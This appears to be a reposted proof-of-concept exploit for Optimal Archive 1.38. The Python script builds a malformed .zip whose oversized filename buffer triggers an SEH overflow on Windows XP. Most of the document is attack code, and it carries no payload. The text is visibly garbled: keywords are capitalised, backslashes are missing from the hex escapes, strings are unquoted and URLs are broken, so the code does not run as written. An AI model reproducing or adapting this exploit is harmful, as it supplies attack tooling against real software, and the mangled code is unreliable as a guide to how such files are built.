Optimal Archive v1.38 (.zip) 0day SEH PoC

#! /Usr/bin/python

######################################## ################################

# Title: Optimal Archive 1.38 (.zip) 0day SEH PoC

# Author: TecR0c-http://tecninja.net/blog & http://twitter.com/TecR0c

# Found by: TecR0c

# Download: http://www.optimalaccess.com/oadownload.php? Versionpolicoarchive.exe

# Platform: Windows XP sp3 En

# Advisory: http://www.corelan.be: 8800/advisories. php? CORELAN-10-017

# Greetz to: Corelan Security Team

# Http://www.corelan.be: 8800/index. php/security/corelan-team-members/

######################################## ################################

# Script provided as is, without any warranty.

# Use for educational purposes only.

# Do not use this code to do anything illegal!

#

# Note: you are not allowed to edit/modify this code.

# If you do, Corelan cannot be held responsible for any damages this may cause.

# Trigger: Right click on specially crafzip file> Boom

# Very strange behavior when debugging

Print "| ------------------------------------------------------------------ |"

Print "| _ |"

Print "| _________ ________/___ _____/____ _____ ___ |"

Print "|/___/_ '_ |"

Print "| //__//_////__///_///////_/__//_////// /|"

Print "| \___/\____/_/\___/_/\__,_/_//_/\__/\___/\__, _/|"

Print "|"

Print "| http://www.corelan.be: 8800 |"

Print "| security@corelan.be |"

Print "|"

Print "| ------------------------------------------------- [EIP Hunters] -- |"

Print "[+] optimal (.zip)-by TecR0c"

Ldf_header = ("x50x4Bx03x04x14x00x00x00x00x00xB7xACxCEx34x00x00x00"

"X00x00x00x00x00x00x00x00"

"Xe4x0f"

"X00x00x00 ")

Cdf_header = ("x50x4Bx01x02x14x00x14x00x00x00x00x00xB7xACxCEx34x00x00x00"

"X00x00x00x00x00x00x00x00x00x00"

"Xe4x0f"

"X00x00x00x00x00x00x01x00"

"X24x00x00x00x00x00x00x00 ")

Eofcdf_header = ("x50x4Bx05x06x00x00x00x00x01x00x01x00"

"X12x10x00x00"

"X02x10x00x00"

"X00x00 ")

Buff = "x42" * 2340

Buff + = "x44" * 4

Buff + = "x42" * (4064-len (buff ))

Buff + = ". txt"

Mefile = open(optimal.zip, w );

Mefile. write (ldf_header + buff + cdf_header + buff + eofcdf_header );

Mefile. close ()